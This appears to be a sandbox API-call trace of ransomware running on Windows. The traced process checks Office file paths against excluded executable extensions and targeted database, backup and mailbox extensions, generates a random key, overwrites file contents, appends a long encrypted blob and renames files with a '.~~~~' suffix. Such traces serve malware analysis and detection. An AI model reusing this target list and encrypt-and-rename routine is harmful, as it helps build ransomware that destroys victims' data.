	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.619] lstrlenW (lpString=".MDT") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.619] lstrlenW (lpString=".SQB") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.619] lstrlenW (lpString=".vhd") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.619] lstrlenW (lpString=".bac") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.619] lstrlenW (lpString=".mdf") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.619] lstrlenW (lpString=".BAK") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.619] lstrlenW (lpString=".BAC") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.619] lstrlenW (lpString=".dbs") returned 4
	[0145.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.620] lstrlenW (lpString=".vhdx") returned 5
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.620] lstrlenW (lpString=".NDF") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.620] lstrlenW (lpString=".dat") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.620] lstrlenW (lpString=".DBS") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.620] lstrlenW (lpString=".CKP") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.620] lstrlenW (lpString=".edb") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.620] lstrlenW (lpString=".PST") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.620] lstrlenW (lpString=".dbf") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.620] lstrlenW (lpString=".SQL") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.620] lstrlenW (lpString=".pst") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.620] lstrlenW (lpString=".dbv") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.620] lstrlenW (lpString=".SDF") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.620] lstrlenW (lpString=".dtxs") returned 5
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.620] lstrlenW (lpString=".db3") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.620] lstrlenW (lpString=".OST") returned 4
	[0145.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.620] lstrlenW (lpString=".dbx") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.621] lstrlenW (lpString=".DB3") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.621] lstrlenW (lpString=".DAT") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.621] lstrlenW (lpString=".VHDX") returned 5
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.621] lstrlenW (lpString=".ndf") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.621] lstrlenW (lpString=".DB") returned 3
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.621] lstrlenW (lpString=".sql") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.621] lstrlenW (lpString=".MYD") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.621] lstrlenW (lpString=".DBT") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.621] lstrlenW (lpString=".ACCDB") returned 6
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.621] lstrlenW (lpString=".fdb") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.621] lstrlenW (lpString=".bak") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.621] lstrlenW (lpString=".myd") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.621] lstrlenW (lpString=".DTXS") returned 5
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.621] lstrlenW (lpString=".ckp") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.621] lstrlenW (lpString=".dbt") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.621] lstrlenW (lpString=".db") returned 3
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".db") returned 0x0
	[0145.621] lstrlenW (lpString=".TXT") returned 4
	[0145.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.622] lstrlenW (lpString=".MDF") returned 4
	[0145.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.622] lstrlenW (lpString=".bdb") returned 4
	[0145.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.622] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.622] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.623] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.623] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.623] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26561336372) returned 1
	[0145.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0349e90, dwHighDateTime=0x1d60e1e)) 
	[0145.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380238
	[0145.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380238 | out: hHeap=0x300000) returned 1
	[0145.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6ec8
	[0145.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.624] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.624] GetLastError () returned 0x0
	[0145.624] GetLastError () returned 0x0
	[0145.625] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.625] GetLastError () returned 0x0
	[0145.625] GetLastError () returned 0x0
	[0145.625] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.626] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.626] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.626] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.626] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.626] CloseHandle (hObject=0x114) returned 1
	[0145.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.627] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.~~~~")) returned 1
	[0145.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.629] GetLastError () returned 0x0
	[0145.629] RtlWakeConditionVariable () returned 0x365f70
	[0145.629] GetCurrentThreadId () returned 0x9cc
	[0145.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".scr") returned 0x0
	[0145.629] lstrlenW (lpString=".cmd") returned 4
	[0145.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".cmd") returned 0x0
	[0145.629] lstrlenW (lpString=".dll") returned 4
	[0145.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dll") returned 0x0
	[0145.629] lstrlenW (lpString=".bat") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".bat") returned 0x0
	[0145.630] lstrlenW (lpString=".cpl") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".cpl") returned 0x0
	[0145.630] lstrlenW (lpString=".sys") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".sys") returned 0x0
	[0145.630] lstrlenW (lpString=".msc") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".msc") returned 0x0
	[0145.630] lstrlenW (lpString=".com") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".com") returned 0x0
	[0145.630] lstrlenW (lpString=".lnk") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".lnk") returned 0x0
	[0145.630] lstrlenW (lpString=".msp") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".msp") returned 0x0
	[0145.630] lstrlenW (lpString=".pif") returned 4
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".pif") returned 0x0
	[0145.630] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0145.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.632] lstrlenW (lpString=".sqb") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".sqb") returned 0x0
	[0145.632] lstrlenW (lpString=".ost") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".ost") returned 0x0
	[0145.632] lstrlenW (lpString=".txt") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".txt") returned 0x0
	[0145.632] lstrlenW (lpString=".mdt") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".mdt") returned 0x0
	[0145.632] lstrlenW (lpString=".BDB") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".BDB") returned 0x0
	[0145.632] lstrlenW (lpString=".eql") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".eql") returned 0x0
	[0145.632] lstrlenW (lpString=".DBF") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DBF") returned 0x0
	[0145.632] lstrlenW (lpString=".EQL") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".EQL") returned 0x0
	[0145.632] lstrlenW (lpString=".FDB") returned 4
	[0145.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".FDB") returned 0x0
	[0145.633] lstrlenW (lpString=".EDB") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".EDB") returned 0x0
	[0145.633] lstrlenW (lpString=".DACPAC") returned 7
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DACPAC") returned 0x0
	[0145.633] lstrlenW (lpString=".VHD") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".VHD") returned 0x0
	[0145.633] lstrlenW (lpString=".DBV") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DBV") returned 0x0
	[0145.633] lstrlenW (lpString=".dacpac") returned 7
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dacpac") returned 0x0
	[0145.633] lstrlenW (lpString=".sdf") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".sdf") returned 0x0
	[0145.633] lstrlenW (lpString=".accdb") returned 6
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".accdb") returned 0x0
	[0145.633] lstrlenW (lpString=".DBX") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DBX") returned 0x0
	[0145.633] lstrlenW (lpString=".MDT") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".MDT") returned 0x0
	[0145.633] lstrlenW (lpString=".SQB") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".SQB") returned 0x0
	[0145.633] lstrlenW (lpString=".vhd") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".vhd") returned 0x0
	[0145.633] lstrlenW (lpString=".bac") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".bac") returned 0x0
	[0145.633] lstrlenW (lpString=".mdf") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".mdf") returned 0x0
	[0145.633] lstrlenW (lpString=".BAK") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".BAK") returned 0x0
	[0145.633] lstrlenW (lpString=".BAC") returned 4
	[0145.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".BAC") returned 0x0
	[0145.633] lstrlenW (lpString=".dbs") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dbs") returned 0x0
	[0145.634] lstrlenW (lpString=".vhdx") returned 5
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".vhdx") returned 0x0
	[0145.634] lstrlenW (lpString=".NDF") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".NDF") returned 0x0
	[0145.634] lstrlenW (lpString=".dat") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dat") returned 0x0
	[0145.634] lstrlenW (lpString=".DBS") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DBS") returned 0x0
	[0145.634] lstrlenW (lpString=".CKP") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".CKP") returned 0x0
	[0145.634] lstrlenW (lpString=".edb") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".edb") returned 0x0
	[0145.634] lstrlenW (lpString=".PST") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".PST") returned 0x0
	[0145.634] lstrlenW (lpString=".dbf") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dbf") returned 0x0
	[0145.634] lstrlenW (lpString=".SQL") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".SQL") returned 0x0
	[0145.634] lstrlenW (lpString=".pst") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".pst") returned 0x0
	[0145.634] lstrlenW (lpString=".dbv") returned 4
	[0145.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dbv") returned 0x0
	[0145.722] lstrlenW (lpString=".SDF") returned 4
	[0145.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".SDF") returned 0x0
	[0145.722] lstrlenW (lpString=".dtxs") returned 5
	[0145.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dtxs") returned 0x0
	[0145.722] lstrlenW (lpString=".db3") returned 4
	[0145.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".db3") returned 0x0
	[0145.722] lstrlenW (lpString=".OST") returned 4
	[0145.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".OST") returned 0x0
	[0145.722] lstrlenW (lpString=".dbx") returned 4
	[0145.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dbx") returned 0x0
	[0145.723] lstrlenW (lpString=".DB3") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DB3") returned 0x0
	[0145.723] lstrlenW (lpString=".DAT") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DAT") returned 0x0
	[0145.723] lstrlenW (lpString=".VHDX") returned 5
